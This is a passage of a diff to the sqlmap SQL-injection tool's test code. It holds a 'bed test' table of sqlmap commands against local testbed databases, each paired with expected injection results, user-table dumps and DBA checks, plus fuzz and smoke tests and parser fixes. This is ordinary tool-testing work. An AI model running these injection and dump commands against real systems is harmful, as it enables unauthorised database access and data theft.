("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "7.1.36-stable", "current database: 'testdb'", "current user: 'root'", "[1 column]", "| surname | VARCHAR |")),
|
||||||
|
|
||||||
|
# Firebird
|
||||||
|
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "possible DBMS: 'Firebird'", "the back-end DBMS is Firebird", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --is-dba --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Firebird", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --search -C surname --answers='dump=n'", ("banner: '2.5", "current user: 'SYSDBA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
|
# H2
|
||||||
|
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'H2'", "the back-end DBMS is H2", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is H2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: Generic inline queries", "Title: Generic UNION query (NULL) - 3 columns", "1.4.192", "current database (equivalent to schema on H2): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
|
# HSQLDB
|
||||||
|
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'HSQLDB'", "the back-end DBMS is HSQLDB", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is HSQLDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: HSQLDB > 2.0 AND time-based blind (heavy query)", "Title: Generic UNION query (NULL) - 3 columns", "2.3.4", "current database (equivalent to schema on HSQLDB): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
|
# IBM DB2
|
||||||
|
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current database (equivalent to owner on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")),
|
||||||
|
|
||||||
|
# MariaDB
|
||||||
|
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "10.4.12-MariaDB-1:10.4.12+maria~bionic", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
|
||||||
|
|
||||||
|
# MySQL
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.1 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "8.0.19", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
|
||||||
|
|
||||||
|
# PostgreSQL
|
||||||
|
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-pc-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
|
||||||
|
)
|
||||||
|
|
||||||
|
retVal = True
|
||||||
|
count = 0
|
||||||
|
|
||||||
|
for options, checks in TESTS:
|
||||||
|
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||||
|
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||||
|
|
||||||
|
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
|
||||||
|
output = shellExec(cmd)
|
||||||
|
|
||||||
|
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
|
||||||
|
for check in checks:
|
||||||
|
if check not in output:
|
||||||
|
print(cmd, check)
|
||||||
|
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||||
|
dataToStdout("%s---\n" % clearColors(output))
|
||||||
|
retVal = False
|
||||||
|
|
||||||
|
count += 1
|
||||||
|
|
||||||
|
clearConsoleLine()
|
||||||
|
if retVal:
|
||||||
|
logger.info("bed test final result: PASSED")
|
||||||
|
else:
|
||||||
|
logger.error("best test final result: FAILED")
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
|
def fuzzTest():
|
||||||
|
count = 0
|
||||||
|
address, port = "127.0.0.10", random.randint(1025, 65535)
|
||||||
|
|
||||||
|
def _thread():
|
||||||
|
vulnserver.init(quiet=True)
|
||||||
|
vulnserver.run(address=address, port=port)
|
||||||
|
|
||||||
|
thread = threading.Thread(target=_thread)
|
||||||
|
thread.daemon = True
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
while True:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
s.connect((address, port))
|
||||||
|
break
|
||||||
|
except:
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
handle, config = tempfile.mkstemp(suffix=".conf")
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
|
url = "http://%s:%d/?id=1" % (address, port)
|
||||||
|
|
||||||
|
content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
|
||||||
|
open(config, "w+").write(content)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
lines = content.split("\n")
|
||||||
|
|
||||||
|
for i in xrange(20):
|
||||||
|
j = random.randint(0, len(lines) - 1)
|
||||||
|
|
||||||
|
if any(_ in lines[j] for _ in ("googleDork",)):
|
||||||
|
continue
|
||||||
|
|
||||||
|
if lines[j].strip().endswith('='):
|
||||||
|
lines[j] += random.sample(("True", "False", randomStr(), str(randomInt())), 1)[0]
|
||||||
|
|
||||||
|
k = random.randint(0, len(lines) - 1)
|
||||||
|
if '=' in lines[k]:
|
||||||
|
lines[k] += chr(random.randint(0, 255))
|
||||||
|
|
||||||
|
open(config, "w+").write("\n".join(lines))
|
||||||
|
|
||||||
|
cmd = "%s %s -c %s --non-interactive --answers='Github=n' --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0])
|
||||||
|
output = shellExec(cmd)
|
||||||
|
|
||||||
|
if "Traceback" in output:
|
||||||
|
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||||
|
dataToStdout("%s---\n" % clearColors(output))
|
||||||
|
|
||||||
|
handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf")
|
||||||
|
os.close(handle)
|
||||||
|
open(config, "w+").write("\n".join(lines))
|
||||||
|
else:
|
||||||
|
dataToStdout("\r%d\r" % count)
|
||||||
|
|
||||||
|
count += 1
|
||||||
|
|
||||||
def smokeTest():
|
def smokeTest():
|
||||||
"""
|
"""
|
||||||
Runs the basic smoke testing of a program
|
Runs the basic smoke testing of a program
|
||||||
"""
|
"""
|
||||||
|
|
||||||
dirtyPatchRandom()
|
unisonRandom()
|
||||||
|
|
||||||
|
content = open(paths.ERRORS_XML, "r").read()
|
||||||
|
for regex in re.findall(r'<error regexp="(.+?)"/>', content):
|
||||||
|
try:
|
||||||
|
re.compile(regex)
|
||||||
|
except re.error:
|
||||||
|
errMsg = "smoke test failed at compiling '%s'" % regex
|
||||||
|
logger.error(errMsg)
|
||||||
|
return False
|
||||||
|
|
||||||
retVal = True
|
retVal = True
|
||||||
count, length = 0, 0
|
count, length = 0, 0
|
||||||
@@ -264,233 +395,3 @@ def smokeTest():
|
|||||||
logger.error("smoke test final result: FAILED")
|
logger.error("smoke test final result: FAILED")
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def adjustValueType(tagName, value):
|
|
||||||
for family in optDict:
|
|
||||||
for name, type_ in optDict[family].items():
|
|
||||||
if type(type_) == tuple:
|
|
||||||
type_ = type_[0]
|
|
||||||
if tagName == name:
|
|
||||||
if type_ == "boolean":
|
|
||||||
value = (value == "True")
|
|
||||||
elif type_ == "integer":
|
|
||||||
value = int(value)
|
|
||||||
elif type_ == "float":
|
|
||||||
value = float(value)
|
|
||||||
break
|
|
||||||
return value
|
|
||||||
|
|
||||||
def liveTest():
|
|
||||||
"""
|
|
||||||
Runs the test of a program against the live testing environment
|
|
||||||
"""
|
|
||||||
|
|
||||||
retVal = True
|
|
||||||
count = 0
|
|
||||||
global_ = {}
|
|
||||||
vars_ = {}
|
|
||||||
|
|
||||||
livetests = readXmlFile(paths.LIVE_TESTS_XML)
|
|
||||||
length = len(livetests.getElementsByTagName("case"))
|
|
||||||
|
|
||||||
element = livetests.getElementsByTagName("global")
|
|
||||||
if element:
|
|
||||||
for item in element:
|
|
||||||
for child in item.childNodes:
|
|
||||||
if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
|
|
||||||
global_[child.tagName] = adjustValueType(child.tagName, child.getAttribute("value"))
|
|
||||||
|
|
||||||
element = livetests.getElementsByTagName("vars")
|
|
||||||
if element:
|
|
||||||
for item in element:
|
|
||||||
for child in item.childNodes:
|
|
||||||
if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
|
|
||||||
var = child.getAttribute("value")
|
|
||||||
vars_[child.tagName] = randomStr(6) if var == "random" else var
|
|
||||||
|
|
||||||
for case in livetests.getElementsByTagName("case"):
|
|
||||||
parse_from_console_output = False
|
|
||||||
count += 1
|
|
||||||
name = None
|
|
||||||
parse = []
|
|
||||||
switches = dict(global_)
|
|
||||||
value = ""
|
|
||||||
vulnerable = True
|
|
||||||
result = None
|
|
||||||
|
|
||||||
if case.hasAttribute("name"):
|
|
||||||
name = case.getAttribute("name")
|
|
||||||
|
|
||||||
if conf.runCase and ((conf.runCase.isdigit() and conf.runCase != count) or not re.search(conf.runCase, name, re.DOTALL)):
|
|
||||||
continue
|
|
||||||
|
|
||||||
if case.getElementsByTagName("switches"):
|
|
||||||
for child in case.getElementsByTagName("switches")[0].childNodes:
|
|
||||||
if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
|
|
||||||
value = replaceVars(child.getAttribute("value"), vars_)
|
|
||||||
switches[child.tagName] = adjustValueType(child.tagName, value)
|
|
||||||
|
|
||||||
if case.getElementsByTagName("parse"):
|
|
||||||
for item in case.getElementsByTagName("parse")[0].getElementsByTagName("item"):
|
|
||||||
if item.hasAttribute("value"):
|
|
||||||
value = replaceVars(item.getAttribute("value"), vars_)
|
|
||||||
|
|
||||||
if item.hasAttribute("console_output"):
|
|
||||||
parse_from_console_output = bool(item.getAttribute("console_output"))
|
|
||||||
|
|
||||||
parse.append((value, parse_from_console_output))
|
|
||||||
|
|
||||||
conf.verbose = global_.get("verbose", 1)
|
|
||||||
setVerbosity()
|
|
||||||
|
|
||||||
msg = "running live test case: %s (%d/%d)" % (name, count, length)
|
|
||||||
logger.info(msg)
|
|
||||||
|
|
||||||
initCase(switches, count)
|
|
||||||
|
|
||||||
test_case_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "test_case"), "wb", UNICODE_ENCODING)
|
|
||||||
test_case_fd.write("%s\n" % name)
|
|
||||||
|
|
||||||
try:
|
|
||||||
result = runCase(parse)
|
|
||||||
except SqlmapNotVulnerableException:
|
|
||||||
vulnerable = False
|
|
||||||
finally:
|
|
||||||
conf.verbose = global_.get("verbose", 1)
|
|
||||||
setVerbosity()
|
|
||||||
|
|
||||||
if result is True:
|
|
||||||
logger.info("test passed")
|
|
||||||
cleanCase()
|
|
||||||
else:
|
|
||||||
errMsg = "test failed"
|
|
||||||
|
|
||||||
if _failures.failedItems:
|
|
||||||
errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems)
|
|
||||||
|
|
||||||
errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH
|
|
||||||
errMsg += " - traceback: %s" % bool(_failures.failedTraceBack)
|
|
||||||
|
|
||||||
if not vulnerable:
|
|
||||||
errMsg += " - SQL injection not detected"
|
|
||||||
|
|
||||||
logger.error(errMsg)
|
|
||||||
test_case_fd.write("%s\n" % errMsg)
|
|
||||||
|
|
||||||
if _failures.failedParseOn:
|
|
||||||
console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING)
|
|
||||||
console_output_fd.write(_failures.failedParseOn)
|
|
||||||
console_output_fd.close()
|
|
||||||
|
|
||||||
if _failures.failedTraceBack:
|
|
||||||
traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING)
|
|
||||||
traceback_fd.write(_failures.failedTraceBack)
|
|
||||||
traceback_fd.close()
|
|
||||||
|
|
||||||
beep()
|
|
||||||
|
|
||||||
if conf.stopFail is True:
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
test_case_fd.close()
|
|
||||||
retVal &= bool(result)
|
|
||||||
|
|
||||||
dataToStdout("\n")
|
|
||||||
|
|
||||||
if retVal:
|
|
||||||
logger.info("live test final result: PASSED")
|
|
||||||
else:
|
|
||||||
logger.error("live test final result: FAILED")
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
def initCase(switches, count):
|
|
||||||
_failures.failedItems = []
|
|
||||||
_failures.failedParseOn = None
|
|
||||||
_failures.failedTraceBack = None
|
|
||||||
|
|
||||||
paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count))
|
|
||||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
|
||||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
|
||||||
|
|
||||||
logger.debug("using output directory '%s' for this test case" % paths.SQLMAP_OUTPUT_PATH)
|
|
||||||
|
|
||||||
LOGGER_HANDLER.stream = sys.stdout = tempfile.SpooledTemporaryFile(max_size=0, mode="w+b", prefix="sqlmapstdout-")
|
|
||||||
|
|
||||||
cmdLineOptions = cmdLineParser()
|
|
||||||
|
|
||||||
if switches:
|
|
||||||
for key, value in switches.items():
|
|
||||||
if key in cmdLineOptions.__dict__:
|
|
||||||
cmdLineOptions.__dict__[key] = value
|
|
||||||
|
|
||||||
initOptions(cmdLineOptions, True)
|
|
||||||
init()
|
|
||||||
|
|
||||||
def cleanCase():
|
|
||||||
shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True)
|
|
||||||
|
|
||||||
def runCase(parse):
|
|
||||||
retVal = True
|
|
||||||
handled_exception = None
|
|
||||||
unhandled_exception = None
|
|
||||||
result = False
|
|
||||||
console = ""
|
|
||||||
|
|
||||||
try:
|
|
||||||
result = start()
|
|
||||||
except KeyboardInterrupt:
|
|
||||||
pass
|
|
||||||
except SqlmapBaseException as ex:
|
|
||||||
handled_exception = ex
|
|
||||||
except Exception as ex:
|
|
||||||
unhandled_exception = ex
|
|
||||||
finally:
|
|
||||||
sys.stdout.seek(0)
|
|
||||||
console = sys.stdout.read()
|
|
||||||
LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__
|
|
||||||
|
|
||||||
if unhandled_exception:
|
|
||||||
_failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
|
|
||||||
retVal = None
|
|
||||||
elif handled_exception:
|
|
||||||
_failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
|
|
||||||
retVal = None
|
|
||||||
elif result is False: # this means no SQL injection has been detected - if None, ignore
|
|
||||||
retVal = False
|
|
||||||
|
|
||||||
console = getUnicode(console, encoding=sys.stdin.encoding)
|
|
||||||
|
|
||||||
if parse and retVal:
|
|
||||||
with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f:
|
|
||||||
content = f.read()
|
|
||||||
|
|
||||||
for item, parse_from_console_output in parse:
|
|
||||||
parse_on = console if parse_from_console_output else content
|
|
||||||
|
|
||||||
if item.startswith("r'") and item.endswith("'"):
|
|
||||||
if not re.search(item[2:-1], parse_on, re.DOTALL):
|
|
||||||
retVal = None
|
|
||||||
_failures.failedItems.append(item)
|
|
||||||
|
|
||||||
elif item not in parse_on:
|
|
||||||
retVal = None
|
|
||||||
_failures.failedItems.append(item)
|
|
||||||
|
|
||||||
if _failures.failedItems:
|
|
||||||
_failures.failedParseOn = console
|
|
||||||
|
|
||||||
elif retVal is False:
|
|
||||||
_failures.failedParseOn = console
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
def replaceVars(item, vars_):
|
|
||||||
retVal = item
|
|
||||||
|
|
||||||
if item and vars_:
|
|
||||||
for var in re.findall(r"\$\{([^}]+)\}", item):
|
|
||||||
if var in vars_:
|
|
||||||
retVal = retVal.replace("${%s}" % var, vars_[var])
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|||||||
+1
-1
@@ -175,7 +175,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
|||||||
while alive:
|
while alive:
|
||||||
alive = False
|
alive = False
|
||||||
for thread in threads:
|
for thread in threads:
|
||||||
if thread.isAlive():
|
if thread.is_alive():
|
||||||
alive = True
|
alive = True
|
||||||
time.sleep(0.1)
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
|||||||
@@ -21,10 +21,15 @@ class Unescaper(AttribDict):
|
|||||||
identifiedDbms = Backend.getIdentifiedDbms()
|
identifiedDbms = Backend.getIdentifiedDbms()
|
||||||
|
|
||||||
if dbms is not None:
|
if dbms is not None:
|
||||||
return self[dbms](expression, quote=quote)
|
retVal = self[dbms](expression, quote=quote)
|
||||||
elif identifiedDbms is not None:
|
elif identifiedDbms is not None and identifiedDbms in self:
|
||||||
return self[identifiedDbms](expression, quote=quote)
|
retVal = self[identifiedDbms](expression, quote=quote)
|
||||||
else:
|
else:
|
||||||
return expression
|
retVal = expression
|
||||||
|
|
||||||
|
# e.g. inference comparison for '
|
||||||
|
retVal = retVal.replace("'''", "''''")
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
unescaper = Unescaper()
|
unescaper = Unescaper()
|
||||||
|
|||||||
+11
-8
@@ -83,6 +83,7 @@ from lib.core.exception import SqlmapSyntaxException
|
|||||||
from lib.core.option import _createHomeDirectories
|
from lib.core.option import _createHomeDirectories
|
||||||
from lib.core.settings import BASIC_HELP_ITEMS
|
from lib.core.settings import BASIC_HELP_ITEMS
|
||||||
from lib.core.settings import DUMMY_URL
|
from lib.core.settings import DUMMY_URL
|
||||||
|
from lib.core.settings import IGNORED_OPTIONS
|
||||||
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import MAX_HELP_OPTION_LENGTH
|
from lib.core.settings import MAX_HELP_OPTION_LENGTH
|
||||||
@@ -252,7 +253,7 @@ def cmdLineParser(argv=None):
|
|||||||
help="Load safe HTTP request from a file")
|
help="Load safe HTTP request from a file")
|
||||||
|
|
||||||
request.add_argument("--safe-freq", dest="safeFreq", type=int,
|
request.add_argument("--safe-freq", dest="safeFreq", type=int,
|
||||||
help="Test requests between two visits to a given safe URL")
|
help="Regular requests between visits to a safe URL")
|
||||||
|
|
||||||
request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true",
|
request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true",
|
||||||
help="Skip URL encoding of payload data")
|
help="Skip URL encoding of payload data")
|
||||||
@@ -682,7 +683,7 @@ def cmdLineParser(argv=None):
|
|||||||
help="Save options to a configuration INI file")
|
help="Save options to a configuration INI file")
|
||||||
|
|
||||||
general.add_argument("--scope", dest="scope",
|
general.add_argument("--scope", dest="scope",
|
||||||
help="Regexp to filter targets from provided proxy log")
|
help="Regexp for filtering targets")
|
||||||
|
|
||||||
general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
|
general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
|
||||||
help="Skip heuristic detection of WAF/IPS protection")
|
help="Skip heuristic detection of WAF/IPS protection")
|
||||||
@@ -781,22 +782,22 @@ def cmdLineParser(argv=None):
|
|||||||
parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
|
parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
|
parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true",
|
||||||
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--gui", dest="gui", action="store_true",
|
parser.add_argument("--gui", dest="gui", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
|
parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--live-test", dest="liveTest", action="store_true",
|
|
||||||
help=SUPPRESS)
|
|
||||||
|
|
||||||
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--stop-fail", dest="stopFail", action="store_true",
|
parser.add_argument("--bed-test", dest="bedTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
parser.add_argument("--run-case", dest="runCase",
|
parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true",
|
||||||
help=SUPPRESS)
|
help=SUPPRESS)
|
||||||
|
|
||||||
# API options
|
# API options
|
||||||
@@ -931,6 +932,8 @@ def cmdLineParser(argv=None):
|
|||||||
elif re.search(r"\A-\w{3,}", argv[i]):
|
elif re.search(r"\A-\w{3,}", argv[i]):
|
||||||
if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
|
if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
|
||||||
argv[i] = "-%s" % argv[i]
|
argv[i] = "-%s" % argv[i]
|
||||||
|
elif argv[i] in IGNORED_OPTIONS:
|
||||||
|
argv[i] = ""
|
||||||
elif argv[i] in DEPRECATED_OPTIONS:
|
elif argv[i] in DEPRECATED_OPTIONS:
|
||||||
argv[i] = ""
|
argv[i] = ""
|
||||||
elif argv[i].startswith("--tamper"):
|
elif argv[i].startswith("--tamper"):
|
||||||
@@ -1005,7 +1008,7 @@ def cmdLineParser(argv=None):
|
|||||||
if args.dummy:
|
if args.dummy:
|
